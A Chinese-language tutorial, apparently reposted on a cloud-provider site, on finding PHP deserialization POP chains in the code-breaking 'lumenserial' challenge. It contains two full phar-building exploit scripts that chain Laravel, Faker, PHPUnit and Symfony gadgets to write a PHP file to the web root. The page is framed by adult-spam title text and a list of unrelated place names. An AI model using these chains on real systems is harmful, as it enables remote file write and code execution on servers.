亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

PHP反序列化中怎樣尋找POP鏈

發布時間:2021-10-11 16:46:42 來源:億速云 閱讀:141 作者:柒染 欄目:網絡管理

本篇文章為大家展示了PHP反序列化中怎樣尋找POP鏈,內容簡明扼要并且容易理解,絕對能使你眼前一亮,通過這篇文章的詳細介紹希望你能有所收獲。

code-breakinglumenserial 為例,練習PHP反序列化 POP鏈 的尋找。

POP鏈一

我們直接搜索 'function dispatch(' ,發現有一個 Dispatcher 類的 dispatchToQueue 方法中調用的 call_user_func 函數兩個參數都可控,而且 dispatch 中調用了 dispatchToQueue 方法,代碼如下:

PHP反序列化中怎樣尋找POP鏈

從代碼中我們可以看到,只要傳入的 $command 變量是 ShouldQueue 類的實例即可。通過搜索,我們會發現 ShouldQueue 是一個接口,那么我們找到其實現類即可。直接搜索 'implements ShouldQueue' ,我們隨便選取一個實現類即可,這里我選用 CallQueuedClosure 類,相關代碼如下:PHP反序列化中怎樣尋找POP鏈

現在 call_user_func 函數的兩個參數都可控,又變成了我們可以調用任意對象的任意方法了,這樣我們有可以利用上篇文章中的方法,調用 ReturnCallback 類的 invoke 方法,并傳入 StaticInvocation 類的對象作為參數,形成整個完整的 POP鏈 ,利用 exp 如下:

<?php
namespace Illuminate\Broadcasting{
    class PendingBroadcast{
        protected $events;
        protected $event;
        function __construct($events, $event){
            $this->events = $events;
            $this->event = $event;
        }
    }
    class BroadcastEvent{
        public $connection;
        public function __construct($connection)
        {
            $this->connection = $connection;
        }
    }
};
namespace PHPUnit\Framework\MockObject\Stub{
    class ReturnCallback
    {
        private $callback;
        public function __construct($callback)
        {
            $this->callback = $callback;
        }
    }
};
namespace PHPUnit\Framework\MockObject\Invocation{
    class StaticInvocation{
        private $parameters;
        public function __construct($parameters){
            $this->parameters = $parameters;
        }
    }
};
namespace Illuminate\Bus{
    class Dispatcher{
        protected $queueResolver;
        public function __construct($queueResolver){
            $this->queueResolver = $queueResolver;
        }
    }
};
namespace{
    $function = 'file_put_contents';
    $parameters = array('/var/www/html/11.php','<?php phpinfo();?>');

    $staticinvocation = new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($parameters);
    $broadcastevent = new Illuminate\Broadcasting\BroadcastEvent($staticinvocation);
    $returncallback = new PHPUnit\Framework\MockObject\Stub\ReturnCallback($function);
    $dispatcher = new Illuminate\Bus\Dispatcher(array($returncallback,'invoke'));
    $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$broadcastevent);
    $o = $pendingbroadcast;

    $filename = 'poc.phar';// 后綴必須為phar,否則程序無法運行
    file_exists($filename) ? unlink($filename) : null;
    $phar=new Phar($filename);
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($o);
    $phar->addFromString("foo.txt","bar");
    $phar->stopBuffering();
};
?>

我們再通過下面這張圖片,來理清整個 POP鏈 的調用過程。

PHP反序列化中怎樣尋找POP鏈

POP鏈二

接下來這個 POP鏈 思路是參考 這篇 文章,尋找 POP鏈 的思路還是從 dispatch 方法入手。在上篇文章中,我們發現第一個 RCE 走了 Generator 類的 __call 方法,這個方法作為 POP鏈 中的一部分極其好用,因為 call_user_func_array 方法中的兩個參數完全可控。我們只要找到方法中存在形如 this->$object->$method($arg1,$arg2) ,且 $object$method$arg1$arg2 四個參數均可控制,那么就可以利用這個 Generator 類的 __call 方法,最終調用 call_user_func_array('file_put_contents',array('1.php','xxx'))

PHP反序列化中怎樣尋找POP鏈

我們繼續搜索 dispatch ,會發現一個 TraceableEventDispatcher 類的 dispatch 方法,其代碼如下:

PHP反序列化中怎樣尋找POP鏈

我們發現其調用了 preProcess 方法,傳入的 $eventName 變量是可控的,我們跟進該方法, 具體代碼如下:

PHP反序列化中怎樣尋找POP鏈

可以看到我們得讓 $this->dispatcher->hasListeners($eventName) 返回 true ,否則返回的空值對我們無用。然后 第12行getListeners 方法返回的值得是一個數組,這樣我們才能進入 foreach 結構里。之所以要進到 foreach 結構里,是因為我們在 第16行 看到了 $this->dispatcher->removeListener($eventName, $listener) ,結構形如: this->$object->$method($arg1,$arg2) ,前三個參數可以按照如下構造:

this->$object =  new Faker\Generator();
this->$object->$method = 'removeListener';
arg1 = '/var/www/html/1.php';
this->formatters['removeListener'] = 'file_put_contents';

這樣子構造之后,執行到 $this->dispatcher->removeListener($eventName, $listener) 時,就會調用 Generator 類的 __call 方法,繼而執行 call_user_func_array('file_put_contents',array('/var/www/html/upload/1.php',$listener)) ,所以我們只要再確保第四個參數 $listener 可控即可。

現在我們再回到上面 第6行if 語句,我們需要先繞過這個判斷條件。該代碼會調用 Faker\Generator 類的 hasListeners 方法,進而觸發 __call 方法,那么我們只要將 this->formatters['hasListeners'] 設置成 'strlen' 即可,之后就會調用 call_user_func_array('strlen','var/www/html') ,這樣就可以繞過 if 語句。

j接著我們再回到 foreach 語句,繼續搜索可利用的 getListeners 方法,看看是否可以返回一個可控數組(返回數組才能進入 foreach 語句)。通過搜索,我們會發現一個 Dispatcher 類的 getListeners 符合我們的要求,其具體代碼如下:

PHP反序列化中怎樣尋找POP鏈

此時 $eventName 是我們傳入的 '/var/www/html/upload/1.php' ,很明顯上面的代碼中可以返回一個數組,而且數組的值完全可控。

剛才 foreach 中的 $this->dispatcher->getListeners() 調用的是 Faker\Generator 類的 getListeners 方法,現在我們要想辦法讓它調用 Dispatcher 類的 getListeners 方法。我們再看一下剛才 Generator 的調用流程圖:

PHP反序列化中怎樣尋找POP鏈

可以看到只要我們將 this->providers 設置為 array(Dispatcher類) 即可,之后的調用就類似于 call_user_func_array(array(Dispatcher類,'getListeners'),'/var/www/html/1.php')

現在基本完成了整個利用鏈,不過在執行到 $this->dispatcher->removeListener($eventName, $listener) 之前,還有一些額外的代碼需要執行,我們要確保這些代碼不會影響我們下面的方法,所以我們需要繼續看 foreach 下面的代碼(這里說的是 TraceableEventDispatcherpreProcess 方法中的 foreach )。

我們看到其調用了本類的 getListenerPriority 方法,具體代碼如下:

PHP反序列化中怎樣尋找POP鏈

我們看到 第16行 ,返回 $this->dispatcher->getListenerPriority($eventName, $listener) ,簡直完美。我們可以不用執行到剛才的 removeListener 方法,直接到這里就可以完成整個 POP鏈 了。最終的利用 exp 如下:

<?php
namespace Illuminate\Events{
    class Dispatcher{
        protected $listeners;
        protected $wildcardsCache;
        public function __construct($parameter,$function){
            $this->listeners[$parameter['filename']] = array($parameter['contents']);
        }
    }
};
namespace Faker{
    class Generator{
        protected $providers;
        protected $formatters;
        public function __construct($providers,$formatters){
            $this->providers = $providers;
            $this->formatters = $formatters;
        }
    }
};
namespace Symfony\Component\EventDispatcher\Debug{
    class TraceableEventDispatcher{
        private $dispatcher;
        public function __construct($dispatcher){
            $this->dispatcher = $dispatcher;
        }
    }
};
namespace Illuminate\Broadcasting{
    class PendingBroadcast{
        protected $events;
        protected $event;
        public function __construct($events, $parameter){
            $this->events = $events;
            $this->event = $parameter['filename'];
        }
    }
}

namespace {
    $function = 'file_put_contents';
    $parameters = array('filename' => '/var/www/html/1.php','contents' => '<?php phpinfo();?>');

    $dispatcher = new \Illuminate\Events\Dispatcher($parameters,$function);
    $generator = new \Faker\Generator([$dispatcher],['hasListeners'=>'strlen','getListenerPriority'=>$function]);
    $traceableeventdispatcher = new Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher($generator);
    $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($traceableeventdispatcher,$parameters);
    $o = $pendingbroadcast;

    $filename = 'poc.phar';// 后綴必須為phar,否則程序無法運行
    file_exists($filename) ? unlink($filename) : null;
    $phar=new Phar($filename);
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ");
    $phar->setMetadata($o);
    $phar->addFromString("foo.txt","bar");
    $phar->stopBuffering();
}
?>

我們再通過下面這張圖片,來理清整個 POP鏈 的調用過程。

PHP反序列化中怎樣尋找POP鏈

上述內容就是PHP反序列化中怎樣尋找POP鏈,你們學到知識或技能了嗎?如果還想學到更多技能或者豐富自己的知識儲備,歡迎關注億速云行業資訊頻道。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

高陵县| 平和县| 宝坻区| 城口县| 芒康县| 龙州县| 岳西县| 抚顺县| 大厂| 信阳市| 巨野县| 武宁县| 出国| 萝北县| 叶城县| 铁力市| 灵川县| 曲周县| 庐江县| 雷州市| 华坪县| 乌鲁木齐县| 昌邑市| 保定市| 苏尼特右旗| 平武县| 兴宁市| 慈利县| 兴业县| 上蔡县| 英山县| 化州市| 新野县| 庆安县| 新源县| 昂仁县| 灵宝市| 林甸县| 蒲江县| 五原县| 广州市|